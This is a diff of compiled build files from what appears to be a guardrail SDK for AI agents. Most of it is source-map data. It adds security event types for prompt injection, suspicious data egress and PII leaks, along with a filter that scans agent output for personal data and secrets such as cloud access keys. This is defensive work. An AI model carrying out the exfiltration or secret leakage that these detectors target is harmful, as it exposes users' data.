AAE,CAAC;QAClD,MAAM,SAAS,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;QAE7B,IAAI,CAAC;YACH,yDAAyD;YACzD,MAAM,gBAAgB,GAAG,eAAe,CAAC,MAAM,CAAC,CAAC;YAEjD,0DAA0D;YAC1D,MAAM,MAAM,GAAG,IAAI,CAAC,cAAc,CAAC,KAAK,CAAC,gBAAgB,CAAC,CAAC;YAC3D,MAAM,YAAY,GAAG,CAAC,CAAC,MAAM,CAAC;YAE9B,yDAAyD;YACzD,IAAI,YAAY,IAAI,MAAM,EAAE,CAAC;gBAC3B,6CAA6C;gBAC7C,IAAI,IAAI,CAAC,QAAQ,EAAE,CAAC;oBAClB,IAAI,CAAC;wBACH,MAAM,cAAc,GAAG,MAAM,IAAI,CAAC,QAAQ,CAAC,KAAK,CAAC,gBAAgB,EAAE,GAAG,CAAC,CAAC;wBAExE,IAAI,cAAc,CAAC,MAAM,KAAK,OAAO,EAAE,CAAC;4BACtC,gDAAgD;4BAChD,MAAM,cAAc,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,SAAS,CAAC;4BAC9C,MAAM,KAAK,GAAG,mBAAmB,CAC/B,GAAG,EACH,iBAAiB,CAAC,gBAAgB,EAClC,cAAc,CAAC,IAAI,EACnB,2BAA2B,cAAc,CAAC,KAAK,iBAAiB,cAAc,CAAC,UAAU,kBAAkB,cAAc,CAAC,WAAW,GAAG,EACxI;gCACE,WAAW,EAAE,MAAM,CAAC,WAAW;gCAC/B,cAAc,EAAE,MAAM,CAAC,SAAS,CAAC,CAAC,EAAE,GAAG,CAAC;gCACxC,cAAc;gCACd,WAAW,EAAE,cAAc,CAAC,KAAK;gCACjC,WAAW,EAAE,cAAc,CAAC,WAAW;6BACxC,CACF,CAAC;4BAEF,IAAI,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;4BACnB,MAAM,IAAI,gBAAgB,CAAC,yCAAyC,EAAE,KAAK,CAAC,CAAC;wBAC/E,CAAC;wBAED,sEAAsE;wBACtE,OAAO;4BACL,UAAU,EAAE,IAAI;4BAChB,WAAW,EAAE,MAAM,CAAC,WAAW;4BAC/B,QAAQ,EAAE,MAAM,CAAC,QAAQ;4BACzB,OAAO,EAAE,KAAK;yBACf,CAAC;oBACJ,CAAC;oBAAC,OAAO,KAAK,EAAE,CAAC;wBACf,qFAAqF;wBACrF,IAAI,KAAK,YAAY,gBAAgB,EAAE,CAAC;4BACtC,MAAM,KAAK,CAAC;wBACd,CAAC;wBACD,0EAA0E;wBAC1E,OAAO;4BACL,UAAU,EAAE,IAAI;4BAChB,WAAW,EAAE,MAAM,CAAC,WAAW;4BAC/B,QAAQ,EAAE,MAAM,CAAC,QAAQ;4BACzB,OAAO,EAAE,KAAK;yBACf,CAAC;oBACJ,CAAC;gBACH,CAAC;qBAAM,CAAC;oBACN,mDAAmD;oBACnD,OAAO;wBACL,UAAU,EAAE,IAAI;wBAChB,WAAW,EAAE,MAAM,CAAC,WAAW;wBAC/B,QAAQ,EAAE,MAAM,CAAC,QAAQ;wBACzB,OAAO,EAAE,KAAK;qBACf,CAAC;gBACJ,CAAC;YACH,CAAC;YAED,mCAAmC;YACnC,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;QAC/C,CAAC;gBAAS,CAAC;YACT,iFAAiF;YACjF,MAAM,MAAM,EAAE,CAAC;QACjB,CAAC;IACH,CAAC;IAED;;OAEG;IACH,eAAe,CAAC,KAAwB;QACtC,MAAM,MAAM,GAAG,gBAAgB,CAAC,KAAK,CAAC,CAAC;QACvC,IAAI,CAAC,SAAS,CAAC,YAAY,CAAC,MAAM,CAAC,CAAC;IACtC,CAAC;IAED;;OAEG;IACH,SAAS;QACP,OAAO;YACL,cAAc,EAAE;gBACd,KAAK,EAAE,IAAI,CAAC,cAAc,KAAK,IAAI;gBACnC,KAAK,EAAE,IAAI,CAAC,cAAc,EAAE,KAAK,EAAE;aACpC;YACD,SAAS,EAAE;gBACT,YAAY,EAAE,IAAI,CAAC,SAAS,CAAC,eAAe,EAAE;aAC/C;YACD,SAAS,EAAE;gBACT,OAAO,EAAE,IAAI,CAAC,aAAa,KAAK,SAAS;gBACzC,MAAM,EAAE,IAAI,CAAC,aAAa,EAAE,SAAS,EAAE;aACxC;SACF,CAAC;IACJ,CAAC;IAED;;OAEG;IACK,MAAM,CAAC,KAAoB;QACjC,IAAI,IAAI,CAAC,aAAa,EAAE,CAAC;YACvB,IAAI,CAAC,aAAa,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QAClC,CAAC;IACH,CAAC;IAED;;OAEG;IACH,OAAO;QACL,IAAI,CAAC,aAAa,EAAE,OAAO,EAAE,CAAC;IAChC,CAAC;IAED;;OAEG;IACK,iBAAiB;QACvB,OAAO,OAAO,IAAI,CAAC,GAAG,EAAE,IAAI,IAAI,CAAC,MAAM,EAAE,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC,SAAS,CAAC,CAAC,EAAE,CAAC,CAAC,EAAE,CAAC;IAC3E,CAAC;CACF"}
+{"version":3,"file":"ShieldApplicationService.js","sourceRoot":"","sources":["../../src/application/ShieldApplicationService.ts"],"names":[],"mappings":"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"}

package/dist/domain/events/SecurityEventType.d.ts

@@ -6,7 +6,11 @@ export declare enum SecurityEventType {
     PROMPT_INJECTION = "PROMPT_INJECTION",
     UNAUTHORIZED_TOOL = "UNAUTHORIZED_TOOL",
     PATTERN_MATCH = "PATTERN_MATCH",
-    SCHEMA_VIOLATION = "SCHEMA_VIOLATION"
+    SCHEMA_VIOLATION = "SCHEMA_VIOLATION",
+    /** Layer 1: agent attempted to exfiltrate data to an unauthorized destination */
+    SUSPICIOUS_EGRESS = "SUSPICIOUS_EGRESS",
+    /** Layer 1: agent response contained PII/secrets that were redacted before delivery */
+    PII_LEAK = "PII_LEAK"
 }
 export type SecurityEventTypeString = keyof typeof SecurityEventType;
 export declare function isSecurityEventType(value: unknown): value is SecurityEventType;

package/dist/domain/events/SecurityEventType.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"SecurityEventType.d.ts","sourceRoot":"","sources":["../../../src/domain/events/SecurityEventType.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,oBAAY,iBAAiB;IAC3B,gBAAgB,qBAAqB;IACrC,iBAAiB,sBAAsB;IACvC,aAAa,kBAAkB;IAC/B,gBAAgB,qBAAqB;CACtC;AAED,MAAM,MAAM,uBAAuB,GAAG,MAAM,OAAO,iBAAiB,CAAC;AAErE,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,OAAO,GAAG,KAAK,IAAI,iBAAiB,CAE9E"}
+{"version":3,"file":"SecurityEventType.d.ts","sourceRoot":"","sources":["../../../src/domain/events/SecurityEventType.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,oBAAY,iBAAiB;IAC3B,gBAAgB,qBAAqB;IACrC,iBAAiB,sBAAsB;IACvC,aAAa,kBAAkB;IAC/B,gBAAgB,qBAAqB;IACrC,iFAAiF;IACjF,iBAAiB,sBAAsB;IACvC,uFAAuF;IACvF,QAAQ,aAAa;CACtB;AAED,MAAM,MAAM,uBAAuB,GAAG,MAAM,OAAO,iBAAiB,CAAC;AAErE,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,OAAO,GAAG,KAAK,IAAI,iBAAiB,CAE9E"}

package/dist/domain/events/SecurityEventType.js

@@ -8,6 +8,10 @@ export var SecurityEventType;
     SecurityEventType["UNAUTHORIZED_TOOL"] = "UNAUTHORIZED_TOOL";
     SecurityEventType["PATTERN_MATCH"] = "PATTERN_MATCH";
     SecurityEventType["SCHEMA_VIOLATION"] = "SCHEMA_VIOLATION";
+    /** Layer 1: agent attempted to exfiltrate data to an unauthorized destination */
+    SecurityEventType["SUSPICIOUS_EGRESS"] = "SUSPICIOUS_EGRESS";
+    /** Layer 1: agent response contained PII/secrets that were redacted before delivery */
+    SecurityEventType["PII_LEAK"] = "PII_LEAK";
 })(SecurityEventType || (SecurityEventType = {}));
 export function isSecurityEventType(value) {
     return Object.values(SecurityEventType).includes(value);

package/dist/domain/events/SecurityEventType.js.map

@@ -1 +1 @@
-{"version":3,"file":"SecurityEventType.js","sourceRoot":"","sources":["../../../src/domain/events/SecurityEventType.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,CAAN,IAAY,iBAKX;AALD,WAAY,iBAAiB;IAC3B,0DAAqC,CAAA;IACrC,4DAAuC,CAAA;IACvC,oDAA+B,CAAA;IAC/B,0DAAqC,CAAA;AACvC,CAAC,EALW,iBAAiB,KAAjB,iBAAiB,QAK5B;AAID,MAAM,UAAU,mBAAmB,CAAC,KAAc;IAChD,OAAO,MAAM,CAAC,MAAM,CAAC,iBAAiB,CAAC,CAAC,QAAQ,CAAC,KAA0B,CAAC,CAAC;AAC/E,CAAC"}
+{"version":3,"file":"SecurityEventType.js","sourceRoot":"","sources":["../../../src/domain/events/SecurityEventType.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,CAAN,IAAY,iBASX;AATD,WAAY,iBAAiB;IAC3B,0DAAqC,CAAA;IACrC,4DAAuC,CAAA;IACvC,oDAA+B,CAAA;IAC/B,0DAAqC,CAAA;IACrC,iFAAiF;IACjF,4DAAuC,CAAA;IACvC,uFAAuF;IACvF,0CAAqB,CAAA;AACvB,CAAC,EATW,iBAAiB,KAAjB,iBAAiB,QAS5B;AAID,MAAM,UAAU,mBAAmB,CAAC,KAAc;IAChD,OAAO,MAAM,CAAC,MAAM,CAAC,iBAAiB,CAAC,CAAC,QAAQ,CAAC,KAA0B,CAAC,CAAC;AAC/E,CAAC"}

package/dist/domain/pii/DeterministicFilter.d.ts

@@ -0,0 +1,79 @@
+/**
+ * Deterministic Filter
+ * Domain service: Layer 1 outbound intelligent gatekeeper.
+ *
+ * Philosophy — The SDK is a HIGH-PRECISION SENSOR, not a policy enforcer.
+ *
+ * Every match is surfaced as a SuspiciousTrace. The developer owns the reaction:
+ *
+ *   const trace = tracerney.validate(agentOutput);
+ *
+ *   if (trace.isSuspicious) {
+ *     console.log(`Alert: ${trace.reason}`);
+ *
+ *     // Option A: Hard Block
+ *     // throw new Error("Security Policy Violation");
+ *
+ *     // Option B: Surgical Scrub
+ *     // return trace.redactedContent;
+ *   }
+ *
+ * See the "Suspicious Manifest" in PIIPattern.ts for the label-to-action guide.
+ *
+ * Pure synchronous — no I/O, no async. Target latency <5ms.
+ */
+import { type PIICategory, type PIIPattern, type SuspiciousLabel } from "./PIIPattern";
+import type { LLMResponse } from "../../application/ports/ILLMProvider";
+export type { SuspiciousLabel };
+export interface PIIFinding {
+    readonly patternId: string;
+    readonly patternName: string;
+    readonly category: PIICategory;
+    /** Semantic label — use this for routing decisions */
+    readonly label: SuspiciousLabel;
+    /** How many times this pattern matched */
+    readonly count: number;
+}
+/**
+ * The result of a single validate() call.
+ *
+ * isSuspicious    — true if any pattern fired; false means clean.
+ * label           — highest-severity label across all findings (null when clean).
+ * reason          — human-readable summary for logging, e.g. "Detected 2 finding(s): Email Address, AWS Access Key ID"
+ * redactedContent — pre-computed version of the input with all matches replaced.
+ *                   Present regardless of isSuspicious (equals original text when clean).
+ *                   Use it if you want surgical scrubbing. Throw if you want a hard block.
+ * findings        — granular list for detailed logging or telemetry.
+ */
+export interface SuspiciousTrace {
+    readonly isSuspicious: boolean;
+    readonly label: SuspiciousLabel | null;
+    readonly reason: string;
+    readonly redactedContent: string;
+    readonly findings: readonly PIIFinding[];
+}
+/** @internal Used by ShieldApplicationService.wrap() */
+export interface FilterOutcome {
+    readonly trace: SuspiciousTrace;
+    /** Response with redactedContent applied to all choice messages */
+    readonly redactedResponse?: unknown;
+}
+export declare class DeterministicFilter {
+    private readonly patterns;
+    constructor(patterns?: readonly PIIPattern[]);
+    /**
+     * Scan a plain string and return a SuspiciousTrace.
+     * Always returns — never throws. The caller decides what to do.
+     */
+    validate(text: string): SuspiciousTrace;
+    /**
+     * Scan all text content in an LLMResponse.
+     * Returns a merged SuspiciousTrace (highest label across all choices)
+     * and a new response with redactedContent applied — never mutates the original.
+     */
+    filterResponse<T extends LLMResponse>(response: T): {
+        response: T;
+        outcome: FilterOutcome;
+    };
+}
+//# sourceMappingURL=DeterministicFilter.d.ts.map

package/dist/domain/pii/DeterministicFilter.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"DeterministicFilter.d.ts","sourceRoot":"","sources":["../../../src/domain/pii/DeterministicFilter.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AAEH,OAAO,EAIL,KAAK,WAAW,EAChB,KAAK,UAAU,EACf,KAAK,eAAe,EACrB,MAAM,cAAc,CAAC;AACtB,OAAO,KAAK,EAAE,WAAW,EAAa,MAAM,sCAAsC,CAAC;AAInF,YAAY,EAAE,eAAe,EAAE,CAAC;AAEhC,MAAM,WAAW,UAAU;IACzB,QAAQ,CAAC,SAAS,EAAE,MAAM,CAAC;IAC3B,QAAQ,CAAC,WAAW,EAAE,MAAM,CAAC;IAC7B,QAAQ,CAAC,QAAQ,EAAE,WAAW,CAAC;IAC/B,sDAAsD;IACtD,QAAQ,CAAC,KAAK,EAAE,eAAe,CAAC;IAChC,0CAA0C;IAC1C,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAC;CACxB;AAED;;;;;;;;;;GAUG;AACH,MAAM,WAAW,eAAe;IAC9B,QAAQ,CAAC,YAAY,EAAE,OAAO,CAAC;IAC/B,QAAQ,CAAC,KAAK,EAAE,eAAe,GAAG,IAAI,CAAC;IACvC,QAAQ,CAAC,MAAM,EAAE,MAAM,CAAC;IACxB,QAAQ,CAAC,eAAe,EAAE,MAAM,CAAC;IACjC,QAAQ,CAAC,QAAQ,EAAE,SAAS,UAAU,EAAE,CAAC;CAC1C;AAED,wDAAwD;AACxD,MAAM,WAAW,aAAa;IAC5B,QAAQ,CAAC,KAAK,EAAE,eAAe,CAAC;IAChC,mEAAmE;IACnE,QAAQ,CAAC,gBAAgB,CAAC,EAAE,OAAO,CAAC;CACrC;AAID,qBAAa,mBAAmB;IAC9B,OAAO,CAAC,QAAQ,CAAC,QAAQ,CAAwB;gBAErC,QAAQ,GAAE,SAAS,UAAU,EAAiB;IAI1D;;;OAGG;IACH,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,eAAe;IAyDvC;;;;OAIG;IACH,cAAc,CAAC,CAAC,SAAS,WAAW,EAAE,QAAQ,EAAE,CAAC,GAAG;QAClD,QAAQ,EAAE,CAAC,CAAC;QACZ,OAAO,EAAE,aAAa,CAAC;KACxB;CAoEF"}